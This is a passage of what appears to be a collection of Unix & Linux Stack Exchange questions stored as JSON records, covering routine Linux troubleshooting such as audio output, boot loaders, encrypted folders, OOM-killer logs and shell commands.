Subsystem: Giga-byte Technology Device 3515 Flags: bus master, fast devsel, latency 0, IRQ 28 Memory at fa080000 (32-bit, non-prefetchable) [size=16K] Capabilities: Kernel driver in use: snd_hda_intel Kernel modules: snd-hda-intel Which I _think_ means my sound card (which is integrated on a Rampage IV Extreme mobo) should be ok. What I think might be happening is that the applications such as VLC, Banshee, Totem movie player etc might be reading the default audio output device from a different place than the mint install itself is. I am basing this on the fact that when I first installed the system a week or so ago no sound would play and I had to go to Sound preferences > Output and select my speakers from the list as the default choice was \"Built-in Audio Analogue Stereo\", once I made this change system sounds would play but not any media files such as songs or movies. Therefore I reckon that maybe the applications are still trying to output audio through the \"Built-in Audio Analogue Stereo\" instead of my speakers. This is driving me a little bit insane now and any help would be greatly appreciated. My theory is just a theory (I have no previous experience using linux) so any ideas or suggestions are welcome. If any more information is needed, let me know and I can provide it."} {"_id": "36773", "title": "To display the selected part in line of text file", "text": "I have the following in a text file: 0400903071220312 20120322 20:21 1TRANTELSTRAFLEXCAB22032012CMP201323930000812201108875802100A003485363 12122011AUS 182644 000C28122011 0000 000 How can I pull just the `3071` out of the first line?"} {"_id": "36770", "title": "How to create a single page PDF file out of multiple EPS files with GhostScript", "text": "I'm trying to merge eps files into a pdf file using GS, however, I cannot get it to put multiple eps files without page breaks in between even if original files are small. The command I'm using is: gs -dBATCH -dNOPAUSE -q -sDEVICE=pdfwrite -sOutputFile=out_file [list of eps files...]"} {"_id": "44422", "title": "Install Fedora 17 to iSCSI Target, Boot from iSCSI Target", "text": "I have installed Fedora 17 to an iSCSI target by: 1. Booting with the Fedora 17 ISO 2. Chose LiveCD so I could install iscsi-initiator-utils 3. Started the installer 4. Chose iSCSI target from native Fedora installer 5. Installed as normal Using iPXE (gpxe/etherboot fork) to boot with `sanboot iscsi:HOSTIP::::TARGET:LUN`, but Fedora bombs after about 10 seconds with the following errors: Cannot open font file True dracut Warning: Unable to process initqueue dracut Warning: /dev/disk/by-uuid/{UUID} does not exist Dropping to debug shell dracut:/# A Redhat fellow from this bugzilla suggested dracut-network (including the initramfs rebuild) and some kernel param voodoo, but I get the same errors."} {"_id": "14668", "title": "Bash executes a different file from the one prompted, even when providing full path", "text": "I imagine there's a environment variable or some setting I'm unaware of, but this is driving me nuts. baco:~ # ls -la /root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin -rwxr-x--- 1 root root 57263 Mar 10 2008 /root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin baco:~ # ls -la /usr/local/subversion-1.6.1/subversion/svnadmin/.libs/svnadmin -rwxr-xr-x 1 root root 76125 Apr 20 2009 /usr/local/subversion-1.6.1/subversion/svnadmin/.libs/svnadmin I have two versions of svnadmin compiled there. If I execute one I get it baco:~ # /usr/local/subversion-1.6.1/subversion/svnadmin/.libs/svnadmin --version svnadmin, version 1.6.1 (r37116) compiled Apr 20 2009, 16:09:36 Copyright (C) 2000-2009 CollabNet. Subversion is open source software, see http://subversion.tigris.org/ This product includes software developed by CollabNet (http://www.Collab.Net/). The following repository back-end (FS) modules are available: * fs_base : Module for working with a Berkeley DB repository. * fs_fs : Module for working with a plain file (FSFS) repository. If I execute the other, with full path, I still get the earlier! baco:~ # /root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin --version svnadmin, version 1.6.1 (r37116) compiled Apr 20 2009, 16:09:36 Copyright (C) 2000-2009 CollabNet. Subversion is open source software, see http://subversion.tigris.org/ This product includes software developed by CollabNet (http://www.Collab.Net/). The following repository back-end (FS) modules are available: * fs_base : Module for working with a Berkeley DB repository. * fs_fs : Module for working with a plain file (FSFS) repository. If I run svnadmin without path information, I also get the 1.6.1 version (normal, due to $PATH). Via cron I can get the 1.4.6 executed, so this has to be something particular to interactive or login shells. EDIT: I know that cron is executing the 1.4.6 because I've run `/root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin --version` via cron and I get output from a 1.4.6 version (with the proper compilation date). If I run the 1.6.1 version with full path via cron I do get 1.6.1's output. Both are binary files: baco:~ # file /root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin /root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped baco:~ # file /usr/local/subversion-1.6.1/subversion/svnadmin/.libs/svnadmin /usr/local/subversion-1.6.1/subversion/svnadmin/.libs/svnadmin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), not stripped They are not hard links either baco:~ # stat -c %h /usr/local/subversion-1.6.1/subversion/svnadmin/.libs/svnadmin 1 baco:~ # stat -c %h /root/subversion-1.4.6/subversion/svnadmin/.libs/svnadmin 1"} {"_id": "105407", "title": "FreeBSD 8.4 pkgdb fails after upgrade to Ruby 1.9", "text": "I just upgrade Ruby 1.8 to Ruby 1.9. After the upgrade I followed the instructions in the UPDATING file located in `/usr/ports`. I issued the following two commands: portmaster -o lang/ruby19 lang/ruby18 portmaster -R -r ruby-1.9 When I issue a `pkgdb` I get the following error: > /usr/local/lib/ruby/1.9/rubygems/custom_require.rb:36:in `required cannot > load such file -- pkgtools (LoadError) Short of restoring the system to the backup before the upgrade, can someone suggest an alternate solution?"} {"_id": "18569", "title": "How to turn off the help menu in Lynx", "text": "I have a really small space reserved to Lynx for a quick lookup, as I need that often. However, the \"Help\" menu takes a lot of space and I don't really need it now. ![enter image description here](http://i.stack.imgur.com/H5SrL.png) The red oval is what I want to get rid of. How to do it?"} {"_id": "58960", "title": "Screen resolution problem in Fedora 17 on Oracle VirtualBox 4.2", "text": "I have HP Pavilion dv6 6119tx system which has a screen resolution of 1366X768. But after installing fedora 17 on VirtualBox with Guest additions, the default resolution is 1280X768. Whenever I switch to fullscreen mode, I have some black space left on both left and right sides of screen. Please help. Please also suggest me some resources to learn basics of Linux, commands in Linux(specifically Fedora 17)."} {"_id": "58967", "title": "Linux From Scratch 7.2: Error while making binutils-2.22 in chapter 6", "text": "I get the following error while executing `make tooldir=/usr` ../../binutils-2.22/libiberty/regex.c:130:1: warning: function declaration isn't a prototype [-Wstrict-prototypes] ../../binutils-2.22/libiberty/regex.c:130:7: warning: conflicting types for built-in function 'malloc' [enabled by default] ../../binutils-2.22/libiberty/regex.c:131:1: warning: function declaration isn't a prototype [-Wstrict-prototypes] ../../binutils-2.22/libiberty/regex.c:131:7: warning: conflicting types for built-in function 'realloc' [enabled by default] In file included from /usr/include/bits/string2.h:1296:0, from /usr/include/string.h:633, from ../../binutils-2.22/libiberty/regex.c:149: /usr/include/stdlib.h:470:14: error: conflicting types for 'malloc' ../../binutils-2.22/libiberty/regex.c:130:7: note: previous declaration of 'malloc' was here In file included from ../../binutils-2.22/libiberty/regex.c:638:0: ../../binutils-2.22/libiberty/regex.c: In function 'byte_regex_compile': ../../binutils-2.22/libiberty/regex.c:2439:7: warning: implicit declaration of function 'free' [-Wimplicit-function-declaration] ../../binutils-2.22/libiberty/regex.c:2439:33: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c:2500:17: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c:2533:36: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c:2640:28: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c:3643:26: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c:4150:5: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c: In function 'byte_re_compile_fastmap': ../../binutils-2.22/libiberty/regex.c:4835:11: warning: implicit declaration of function 'abort' [-Wimplicit-function-declaration] ../../binutils-2.22/libiberty/regex.c:4835:11: warning: incompatible implicit declaration of built-in function 'abort' [enabled by default] ../../binutils-2.22/libiberty/regex.c: In function 'byte_re_match_2_internal': ../../binutils-2.22/libiberty/regex.c:7424:11: warning: incompatible implicit declaration of built-in function 'abort' [enabled by default] ../../binutils-2.22/libiberty/regex.c: In function 'xregcomp': ../../binutils-2.22/libiberty/regex.c:7978:4: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c: In function 'xregexec': ../../binutils-2.22/libiberty/regex.c:8053:7: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] ../../binutils-2.22/libiberty/regex.c: In function 'xregerror': ../../binutils-2.22/libiberty/regex.c:8081:5: warning: incompatible implicit declaration of built-in function 'abort' [enabled by default] ../../binutils-2.22/libiberty/regex.c: In function 'xregfree': ../../binutils-2.22/libiberty/regex.c:8114:3: warning: incompatible implicit declaration of built-in function 'free' [enabled by default] make[2]: *** [regex.o] Error 1 make[2]: Leaving directory `/sources/binutils-build/libiberty' make[1]: *** [all-libiberty] Error 2 make[1]: Leaving directory `/sources/binutils-build' make: *** [all] Error 2 The complete output is here, and the page I was using is here Can anyone help me? EDIT: `/usr/include/stdlib.h` (line 470) extern void *malloc (size_t __size) __THROW __attribute_malloc__ __wur; `binutils-2.22/libiberty/regex.c` (line 130) char *malloc ();"} {"_id": "105403", "title": "How to list namespaces in Linux?", "text": "Is there any method in Linux to list all namespaces on the running host? I need to check namespaces for particular processes (e.g. processes running in LXC-container and all other processes on the host) and then find out cgroups of them."} {"_id": "105400", "title": "Hidding an encrypted folder in a shared system without root access (unshare -m)", "text": "I'm a graduate student trying to use a cluster at my university. These machines are shared, so I want to protect the source code I use (I signed a NDA, so I'm scared about publishing the code by accident or making it public very easily). So far, I managed to put my source code in a ecryptfs. To disable access from other users, I use: unshare -m /bin/bash and then: mount -n -t ecryptfs ~home/crypt ~home/crypt This works very nice on my workstation, encrypting the folder ~home/crypt only in the current session. Even the same user cannot access the encrypted files without mounting it again. The problem I have is that I need to be a sudoer to run these commands. The cluster administrator gave access to: sudo mount -n -t ecryptfs ~/crypt ~/crypt But, sudo unshare -m /bin/bash would give me a root shell and this is a show stopper. Is there another solution for this? Can a sudoers config solve this kind of problem? I'm compiling a C++ system using some external libraries. So far, I'm building a VM to compile my code with the same libraries used on the Cluster (same Linux distro, etc). But this solution won't be ok for a long time, as Cluster updates would break my next build/release cycle. I will try to release my code in static mode too, but I really don't like this approach. I'm using a Linux CentOS 6.3 64 bits (Intel) machine. Source files are stored in a NAS (8TB) with FTP access and a very weak web interface."} {"_id": "106603", "title": "rearranging from colum to row in a csv", "text": "I have a CSV file that presently has an output like this 1 2 3 4 5 what I need to do is reconfigure the output as follows 1 2 3 4 5 all the entry data on one line, any help would be greatly appreciated."} {"_id": "33726", "title": "Can I force notify-send to appear on a different monitor?", "text": "I am using notify-send to present occasional information to my users. However, in a two-monitor setup, notify-send always maps the window in the lower-right corner of the right monitor. The users would like the popup moved to the lower-right corner of the left monitor. notify-send doesn't appear to allow the -geometry command-line argument, and Control Center -> Window-Specific Settings can't seem to identify the window class automatically. Is there a way to force notify-send to appear at a specific location, or is there a suitable alternative that comes with RHEL5?"} {"_id": "33727", "title": "passing file as a parameter with sed and loop", "text": "Here File1 is the template. File2 is a csv with 200 rows with the columns scriptname ,jobname, templatename, location The templatename is column with in the file2. Is it possible to do it as below. The purpose is to use different templates (file1's) for different rows in file2. Any help is appreciated $templatename I want to change with rows of flie 2. Is it possible? The following is not working: * samplefile1 * * * scriptname statments go here change jobname save in the location folder (already there) * sample file2 * * * scriptname, jobname, templatename, location qqqtest,sew-test,/san00/test/file1, /san00/test/ qqqtest,sew-test,/san00/test/file2, /san00/test/ What I am expecting is to change the file1, file2 templates etc. each time with the below update by reading csv? while IFS=, read scriptname jobname templatename location; do sed -e \"s/scriptname/$scriptname/\" \\ -e \"s/jobname/$jobname/\" $templatename > \"$location\" done < (file2) How I update the $templatename?"} {"_id": "58969", "title": "How to list keys added to ssh-agent with ssh-add?", "text": "How and where can I check what keys have been added with `ssh-add` to my `ssh- agent` ?"} {"_id": "58968", "title": "Can a FAT32 and NTFS file system exist without UUID?", "text": "I have an USB disk drive partioned with 2 FAT32 partitions, which is not getting detected in the embedded device, but gets detected in a Fedora system. Basically in the udev rules, I am not able to get the UUID of the USB disk. Is it possible to have a filesystem FAT32/NTFS to exist without having UUIDs?"} {"_id": "14664", "title": "How to run a .jar file? No main class found", "text": "How do I run a `jar` file? I tried this : `java iCChecker.jar` but I got next trace : Exception in thread \"main\" java.lang.NoClassDefFoundError: iCChecker/jar Caused by: java.lang.ClassNotFoundException: iCChecker.jar at java.net.URLClassLoader$1.run(Unknown Source) at java.security.AccessController.doPrivileged(Native Method) at java.net.URLClassLoader.findClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at sun.misc.Launcher$AppClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClass(Unknown Source) at java.lang.ClassLoader.loadClassInternal(Unknown Source) Could not find the main class: iCChecker.jar. Program will exit. So, what am I doing wrong? And how to start this jar file?"} {"_id": "14666", "title": "How to generate random IP addresses", "text": "$ nmap -n -iR 0 -sL > RANDOM-IPS-TMP.txt $ grep -o \"[0-9]*\\.[0-9]*\\.[0-9]*\\.[0-9]*\" RANDOM-IPS-TMP.txt | egrep -v \"10.*|172.[16-32].*|192.168.*|[224-255].*\" > RANDOM-IPS.txt egrep: Invalid range end $ How can I generate random IP Addresses outside the private IP address range and the multicast IP Address range?"} {"_id": "14667", "title": "Measuring Python script bandwidth usage", "text": "I have a python script that uses `urllibs` to parse some web pages, and uses selenium to scrape pages with javascript, and I would like to know its cumulative bandwidth usage. I've looked at nethogs, but its tells me the usage per second, but won't tell me how much data the script has received or sent on eth0, for example. Ideally, I would want it to track all new processes after I start monitoring, and then keep a table of what each process has used as a total. Does such a tool exist? If not, is there a library in Python that I can implement in the script to track this?"} {"_id": "38608", "title": "How to determine why my computer crashed?", "text": "Yesterday, I ran a `bash` script for about 10 hours. When I went to use the computer, it locked up. * I have an Eee PC with Debian. * The screen was still visible, but the mouse or keyboard had not effect. * I tried `Ctrl``Alt``Delete`, `Ctrl``Alt``Backspace`, `Ctrl``Alt``F1`, but to no effect. * The hard drive light showed no activity. How can I determine what went wrong? What logs can I check?"} {"_id": "106662", "title": "How do I dual-boot 2 (or more) Linux distributions with gummiboot and UEFI?", "text": "I have Arch installed as my main OS with `gummiboot` for booting. I'm planning to dual boot with Fedora 20 soon but I am currently held back by some doubts. * Do I need to install Grub2 for Fedora even if `gummiboot` is already installed? * If I don't install Grub2, do I use `efibootmgr` from within Arch to add Fedora to the EFI boot entries? * Is it okay to mount the EFS to `/boot/efi` instead of `/boot` (as it is on Arch)? * For the `loader/entries/fedora.conf`, how do I specify the `linux` and `initrd` entries if my EFS is mounted to `/boot/efi` instead of in `/boot`? * This doubt arose because I initially installed Arch and opted to mount EFS to `/boot/efi` instead of `/boot`. In my `loader/entries/arch.conf` file, I had `linux` option set to `/vmlinuz-linux`. When I rebooted the system I got a big, fat **\"cannot find vmlinuz-linux\"** error. I re-installed and this time mounted EFS to `/boot` and everything booted fine using the same value for `linux` I don't want to b0rk my boot setup as I have configured Arch to my liking (and don't want to re-install should I mess up). Off the top of my head, here's an approach I think might work. 1. Start Fedora 20 in live mode and run installer 2. Install Fedora **WITHOUT** a boot loader 3. `chroot` into the installed Fedora from live session (mounting the EFS to `/boot`) and... * copy Fedora's `vmlinuz-linux` and `initramfs-linux.img` to EFS (as soon as I find out where to get it from) * create `/boot/loader/entries/fedora-20.conf` * add an entry in `/etc/fstab` to mount EFS to `/boot` on startup 4. Reboot (and cross fingers it doesn't b0rk the boot setup) _Note: I did an`efibootmgr -v` in Arch and the entries are `Boot0000* Linux Boot Manager` (which I presume to be `gummiboot`) and `Boot0001* Hard Drive`. So I'm thinking that using `efibootmgr` isn't necessary, but I could be wrong._ The above approach _may_ work but I'm not sure it's optimal i.e. if Fedora 20 gets a kernel upgrade, then I'd probably have to copy the new `vmlinuz-linux` and `initramfs-linux.img` files to the ESP. * * * Some background: I used to have Debian Wheezy installed as my main OS and installed Arch for dual-boot, (both using UEFI booting). During my installation of Arch, I chose Grub2 instead of `gummiboot`. When I rebooted my PC, Arch displayed it's Grub2 menu but failed to boot and then Debian's Grub2 displayed after. So I knew I had 2 Grub2 menus chainloading and I didn't want that. I've since switched to Arch as my main OS using `gummiboot` and now want Fedora 20 for dual-boot. This time around, I don't want to mess up my boot options, hence this question."} {"_id": "106660", "title": "Detect process if not found then run it", "text": "I am running several process at startup using \"crontab -e\" @reboot tranmission-daemon && python defualt.py && python MonitorService.py But for some reason, those service can terminate by itself due to hdd insufficient, or web host killed it, how do I check if those service are killed and I re run it again? I am using CentOS 6"} {"_id": "106665", "title": "touch: setting times of No such file or directory", "text": "I got strange issue with TeamCity server (from log-file): `[2013-12-26 16:48:52,915] WARN - jetbrains.buildServer.SERVER - Failed to save custom data to the file: /home/teamcity/.BuildServer/system/pluginData/customDataStorage/buildTypes/bt9/1094615606, error: java.io.FileNotFoundException: /home/teamcity/.BuildServer/system/pluginData/customDataStorage/buildTypes/bt9/1094615606.bak (Invalid argument)` And if I try create file there: $ touch 1 touch: setting times of `1': No such file or directory `CentOS release 6.4 (Final)` Filesystem Size Used Avail Use% Mounted on /dev/sda3 193G 36G 148G 20% / tmpfs 1.9G 631M 1.3G 33% /dev/shm /dev/sda1 194M 86M 99M 47% /boot # mount /dev/sda3 on / type ext4 (rw) proc on /proc type proc (rw) sysfs on /sys type sysfs (rw) devpts on /dev/pts type devpts (rw,gid=5,mode=620) tmpfs on /dev/shm type tmpfs (rw) /dev/sda1 on /boot type ext4 (rw) none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)"} {"_id": "38602", "title": "When can one reboot from inside a chroot environment?", "text": "Sometimes when I chroot into some folder , I could use `reboot` to reset my box, but sometimes I can't. So I want to know why I could do that sometimes and why. **UPDATE** The chroot environment is another Linux system installed on a different partition and I prepare the chroot as follows: mount --bind /dev chroot/dev mount --bind /sys chroot/sys mount -t proc proc chroot/proc"} {"_id": "102752", "title": "Remove all files created before a certain date", "text": "I have a directory containing a high number of files (like logs for every day of the year). I would like to remove all files created before let's say 22/11. How can I achieve that ? Must I use `find` then exec `-rm`? I'm using ksh."} {"_id": "83433", "title": "Find and remove sub-directories without error?", "text": "I need to find a way to remove sub-directories from within a particular directory without receiving an error if no sub-directories exist. This command will successfully remove sub-directories if they exist find /path/to/dir/* -maxdepth 1 -type d -exec rm -rf {} \\; But if none exist I will get this error: > find: /path/to/dir/*: No such file or directory Also, I am using the `find` instead of just plain `rm` because there are too many directories for `rm` to handle and they must be handled individually with `find`. Also I noticed that `find /path/to/dir/ -maxdepth 1 -type d -exec rm -rf {} \\;` with no wildcard actually removes the _dir_ directory as well."} {"_id": "102757", "title": "How do I restore my MySQL databases that were dumped from phpMyAdmin?", "text": "I recently did a clean install of Linux Mint 16 Petra on my laptop. Before I wiped the old system, I did a backup of all my MySQL databases by going to the Export tab in phpMyAdmin and dumping all the databases into one file. I didn't use any compression. Now, on the new system, in phpMyAdmin, when I go to the Import tab and try to upload the SQL file, I get this error: #1046 - No database selected ... Of course no database is selected, I am trying to restore them. I am not at all an expert in MySQL, I use it to support my web design projects, so I don't understand why this isn't working. It seems to me phpMyAdmin should be able to read from a file that phpMyAdmin created. How do I restore my databases from the SQL dump file that I created?"} {"_id": "107698", "title": "How do I change login shell to nologin for an LDAP user RHEL 6?", "text": "yum install ypchsh and yum install ldapmodify both don't find a package. I only want to change the shell for certain ldap users on this one server. Someone please help, I can't seem to figure this simple thing out. the passwd file won't work because the user isn't listed there I think. I dont just create an entry there I suppose. If I edit ther login shell in their LDAP profile I think it would apply to all systems. There must be a mapping file somewhere in etc I am guessing to map their attributes to local system settings."} {"_id": "83439", "title": "How can I create my own distro and include a custom kernel & packages?", "text": "I wanted to know how to add packages to the Linux kernel and then package it to a ISO or CD for friends. Thanks in advance and please don't point me to LFS - Linux From Scratch!"} {"_id": "83438", "title": "Unable to ssh into Ubuntu 12.04 LTS [could not resolve hostname (hostname): Name or service not known", "text": "I'm just starting with a clean install of Ubuntu Server 12.04. I've run: $ sudo apt-get update $ sudo apt-get upgrade I've added the following to `/etc/hosts`: 127.0.0.1 (hostname) The file previously contained: 127.0.0.1 localhost 127.0.1.1 (hostname).hsd1.(state).(ISP).net (hostname) # The following.... ... I was only able to save edits to that file once I became root [by: `su -l`]. I'm able to ssh with username@ip. However, I'd like to be able to ssh with @hostname What am I missing? My goal is to set up a simple LAMP Web Server for PHP website testing."} {"_id": "146128", "title": "How can I have my .bashrc only invoke TMUX if it exists on my system?", "text": "I use tmux on most boxes, but not all. I have the following line in my .bashrc file: [ -z \"$TMUX\" ] && export TERM=xterm-256color && exec tmux which invoke tmux if it exists. I _thought_ the `[ -z $TMUX ]` meant that it would only be used if tmux exists. However on another system, without tmux, I get -bash: exec: tmux: not found and the login attempt fails On my main system I see $ echo $TMUX /private/var/folders/ks/266xy5lj7x35gfj4csc66444b48rvq/T/tmux-373580663/default,55084,4 I also tried just `[ $TMUX ]` (i.e. no `-z`) but that didn't help I'm also looking for a robust solution that works in Ubuntu as well as OSX"} {"_id": "146120", "title": "I seem to be \"losing\" this prompt. What is happening?", "text": "I ssh into an ubuntu 12.04 cloud server and start a web server like this (w/ bash): $ nohup python tserver.py & [2] 2122 $ nohup: ignoring input and appending output to `nohup.out' After I run that command the prompt disappears. There is just a blank line. I can get my prompt back by pressing \"enter\" -- i.e. after I hit enter I see $ again. But I want to script a few of these commands (turning on a few different web server instances). So I don't want to script something like \"send enter command.\" What is going on here? Why do I lose my prompt? How do I script a series of such commands?"} {"_id": "146121", "title": "How can I tell if lack of memory is causing these crashes?", "text": "I have a tornado web server running a flask application that connects to a postgres 9.3 database on an ubuntu 12.04 box. The application has been crashing intermittently and I am trying to understand why. The customer service for my cloud provider (digital ocean) says: > Many times, we see smaller sized droplets that run a full LAMP stack, run > out of memory due to the many processes that are running, that can cause > slow connections or services like Apache and MySQL crashing. How can I investigate this hypothesis? Is there a way to see how much memory is being used at different times on the server? Are there logs that might point to why the application is crashing?"} {"_id": "146126", "title": "Avahi daemon can't launch due to dbus-daemon problems", "text": "I'm trying to run `avahi-daemon` on CentOS 6.5, but when I run it I get this error: bash-4.1# avahi-daemon Found user 'avahi' (UID 70) and group 'avahi' (GID 70). Successfully dropped root privileges. avahi-daemon 0.6.25 starting up. dbus_bus_get_private(): Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directory WARNING: Failed to contact D-Bus daemon. I tried to follow the steps at this blog post. All seemed to work as expected until this one: service messagebus start But even after running the system message bus (even manually with `dbus-daemon --system`) I still get the same error upon running avahi."} {"_id": "112008", "title": "How to wake up monitor from bash?", "text": "I've got screensaver set to 5m `xset s 300` and I need to wake up monitor(suppress screensaver) in 1 hour from bash script. How do I do it?"} {"_id": "112009", "title": "Unattended remote GUI access for linux applicance", "text": "What I'm not looking for is just a VNC-type ability to get the GUI for a remote machine. I need to be able to view and control what's actually going on on the screen of a remote linux appliance. I'm looking for something like TeamViewer Host for a bunch of linux machines that are going to be kiosks/digital signage, running a graphics-based kiosk style of desktop application; but I need to be able to see whats going on on them, remotely. Unfortunately TeamViewer doesn't currently have a \"host\" application for Linux. Requirements: * Remote view and control of the desktop, including being able to see and control exactly what is currently being displayed on the monitor. * Reboot-tolerant, requires no direct access to the computer, ever, once it has been setup, and ideally can be set up remotely via SSH or other remote tunnel. Preferences: * Be able to remote access from Mac or Windows * User friendly enough to initiate and use for low level customer support folks (low linux IQ) to access once it has been installed. I'm open to either commercial or open source projects, free-er and cheaper is better, but I need a high level of user-friendliness and stability. Haven't settled on a Distro for the platform yet, although i'm assuming we'll go with Ubuntu unless something (like this) pushes us in another direction."} {"_id": "112003", "title": "Log from oom killer", "text": "I'm running a virtual machine at a provider where you pay for everything you use (CPU, memory, disk IO, bandwidth, etc). Currently my machine has 512MB ram and 1GB swap area. The kernel version is 3.8.0-21 and the distribution is Ubuntu 13.04 but I suspect the kernel may be custom made, because kernel updates are held back. I run a few cron jobs where Python processes are doing things with a PostgreSQL database. Lately the Python processes have been killed by the OOM killer. I don't need help in solving the actual problem, I can increase the memory, reschedule the cron jobs, turn off overcommitting of memory, tune the Postgre\u015aQL settings, change how the Python programs work, but first I would like to know exactly why this happens (to make the correct fix). The thing is that I have plenty of swap free at the time of the kill but no physical memory. I have the following in the kernel log: [4003981.650341] select 1 (init), adj 0, size 249, to kill [4003981.650349] select 609 (rsyslogd), adj 0, size 609, to kill [4003981.650359] select 17139 (postgres), adj 0, size 635, to kill [4003981.650361] select 10381 (postgres), adj 0, size 6719, to kill [4003981.650365] select 14153 (postgres), adj 0, size 7296, to kill [4003981.650367] select 14159 (postgres), adj 0, size 7300, to kill [4003981.650370] select 26802 (python3), adj 0, size 70767, to kill [4003981.650372] send sigkill to 26802 (python3), adj 0, size 70767 I run `wmstat` every second around the same time (the Python process was killed right before 12:13:48): 2014-02-01 12:13:43 procs -----------memory---------- ---swap-- -----io---- -system-- ----cpu---- 2014-02-01 12:13:43 r b swpd free inact active si so bi bo in cs us sy id wa 2014-02-01 12:13:43 1 0 55 5 216 217 0 0 964 396 386 514 71 10 0 18 2014-02-01 12:13:44 1 1 55 87 185 166 0 0 22304 14536 907 1241 53 9 0 38 2014-02-01 12:13:45 1 0 55 60 190 189 0 0 21768 17344 1216 4581 21 26 0 53 2014-02-01 12:13:46 1 1 57 6 218 214 0 0 22264 4836 1031 3696 22 43 0 35 2014-02-01 12:13:47 2 1 59 4 217 218 0 0 28228 29892 1045 6234 22 34 0 44 2014-02-01 12:13:48 1 2 73 272 97 74 0 0 39436 14372 975 3708 10 38 0 52 2014-02-01 12:13:49 1 0 73 185 173 85 0 0 78400 356 1154 1943 23 33 0 44 2014-02-01 12:13:51 1 1 73 247 132 65 0 0 1936 0 165 188 7 13 69 11 Now to the actual question: I have seen other questions here (like this), where there is a log with more details about the memory (DMA, Normal memory, etc). I can't seem to find it anywhere on my system. It is something that needs to be turned on or where can I find it? The information I'm looking for looks something like this: Free pages: 6524kB (0kB HighMem) Active:20 inactive:23 dirty:0 writeback:0 unstable:0 free:1631 slab:874 mapped:20 pagetables:90 DMA free:6524kB min:1200kB low:1500kB high:1800kB active:80kB inactive:92kB present:16384kB pages_scanned:41 all_unreclaimable? no lowmem_reserve[]: 0 0 0 Normal free:0kB min:0kB low:0kB high:0kB active:0kB inactive:0kB present:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 HighMem free:0kB min:128kB low:160kB high:192kB active:0kB inactive:0kB present:0kB pages_scanned:0 all_unreclaimable? no lowmem_reserve[]: 0 0 0 DMA: 411*4kB 252*8kB 113*16kB 27*32kB 1*64kB 1*128kB 0*256kB 0*512kB 0*1024kB 0*2048kB 0*4096kB = 6524kB Normal: empty HighMem: empty Swap cache: add 24282, delete 24269, find 7705/11790, race 0+0 Free swap = 124768kB Total swap = 128448kB Out of Memory: Killed process 453 (smbd)."} {"_id": "103314", "title": "Recently installed applications missing from $PATH", "text": "When I install apps using `apt-get` or `NVM` or `NPM` on Ubuntu, I can type the command and it works. Then I log out of the shell and log back in. Now none of the things I installed work when I ask for them because they are apparently not on my `$PATH`. How can I ensure that whatever apps I install are always added to my `$PATH` automatically?"} {"_id": "112007", "title": "How to set up AMD Cayman/Antilles HDMI Audio (Radeon HD 6900 series)?", "text": "I've got an AMD Radeon HD 6950 card: $ lspci | grep AMD 03:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] Cayman PRO [Radeon HD 6950] 03:00.1 Audio device: Advanced Micro Devices, Inc. [AMD/ATI] Cayman/Antilles HDMI Audio [Radeon HD 6900 Series] HDMI audio is supported on kernel 3.5 and higher, which I have: $ uname -r 3.12.9-2-ARCH I've installed the latest version of the (hopefully) relevant packages: * alsa-lib 1.0.27.2-1 * alsa-plugins 1.0.27-2 * alsa-utils 1.0.27.2-1 * ati-dri 10.0.2-1 * lib32-alsa-lib 1.0.27.2-1 * lib32-ati-dri 10.0.2-1 * xf86-video-ati 1:7.3.0-1 ALSA detects the sound card: $ aplay -l | grep HDMI card 2: Generic [HD-Audio Generic], device 3: HDMI 0 [HDMI 0] I've enabled the kernel module: $ sudo grep -F radeon.audio /boot/grub/grub.cfg linux /boot/vmlinuz-linux root=UUID=... rw quiet radeon.audio=1 linux /boot/vmlinuz-linux root=UUID=... rw quiet radeon.audio=1 linux /boot/vmlinuz-linux root=UUID=... rw quiet radeon.audio=1 linux /boot/vmlinuz-linux root=UUID=... rw quiet radeon.audio=1 I've enabled the only channel that is available for the card: $ amixer --card 2 Simple mixer control 'IEC958',0 Capabilities: pswitch pswitch-joined Playback channels: Mono Mono: Playback [on] However, my receiver insists there is no signal when I try to play something: $ speaker-test --device plughw:2,3 speaker-test 1.0.27.2 Playback device is plughw:2,3 Stream parameters are 48000Hz, S16_LE, 1 channels Using 16 octaves of pink noise Rate set to 48000Hz (requested 48000Hz) Buffer size range from 64 to 1048576 Period size range from 32 to 524288 Using max buffer size 1048576 Periods = 4 was set period_size = 262144 was set buffer_size = 1048576 0 - Front Left Time per period = 5.473506 I also tried changing from S/PDIF output (which works) to HDMI in VLC, with the same result - the player doesn't complain, the receiver detects that it's connected via HDMI, but it insists there is no signal. And finally, I tried rebooting after writing this up. No changes. Is ALSA correctly detecting the card? Do I need any other packages? Other kernel settings?"} {"_id": "112004", "title": "What did `uniq -t` do?", "text": "I have some old code from 2003 which uses `-t` option for `uniq` command. It throws an error since that option is probably not supported anymore. Here's the piece which uses the command: egrep -n \"{ IA32_OP\" ia32-decode.c | \\ awk '{ print $1 $3 $4 }' | \\ sort -t '(' +1 | \\ uniq -t ':' -f 1 | \\ sed 